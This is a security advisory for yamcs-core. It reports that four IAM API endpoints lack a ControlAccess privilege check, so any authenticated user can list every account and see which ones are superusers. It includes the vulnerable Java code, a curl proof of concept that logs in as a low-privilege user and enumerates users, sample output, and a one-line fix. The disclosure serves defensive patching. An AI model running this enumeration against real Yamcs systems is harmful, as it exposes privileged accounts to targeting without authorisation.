GHSA-p2rj-mrmc-9w29

### Summary

The IAM API endpoints (`listUsers`, `getUser`, `listGroups`, and `getGroup`) in `yamcs-core` do not enforce the required `SystemPrivilege.ControlAccess` check. As a result, **any authenticated user** (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.

This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.

### Root Cause

**File:** `yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372`

`listUsers()`, `getUser()`, `listGroups()`, and `getGroup()` do not require `SystemPrivilege.ControlAccess`. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:

```java // listUsers — NO checkSystemPrivilege public void listUsers(Context ctx, Empty request, ...) { var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess); // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed for (User user : users) { UserInfo userb = toUserInfo(user, sensitiveDetails, directory); responseb.addUsers(userb); } } ```

Compare with properly protected endpoints:

```java // createUser — correctly protected public void createUser(Context ctx, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present ```

### Impact

Any authenticated user can:

1. List all user accounts in the system 2. Identify which accounts have superuser privileges 3. Use this information to target privileged accounts

### Proof of Concept

```bash # Authenticate as any low-privilege user GET access_token curl -s -X POST "http://localhost:8090/auth/token" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "grant_type=password&username=lowpriv&password=lowpriv123"

# Enumerate all users — no ControlAccess required curl -s "http://TARGET:8090/api/users" \ -H "Authorization: Bearer $TOKEN" #paste access_token ```

**Output (confirmed):**

```json { "users": [ { "name": "admin", "superuser": true, "active": true }, { "name": "operator", "superuser": true, "active": true }, { "name": "lowpriv", "superuser": false, "active": true } ] } ```

### Fix

Add `ControlAccess` check to `listUsers`, `getUser`, `listGroups`, `getGroup`:

```java public void listUsers(Context ctx, Empty request, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS ... } ```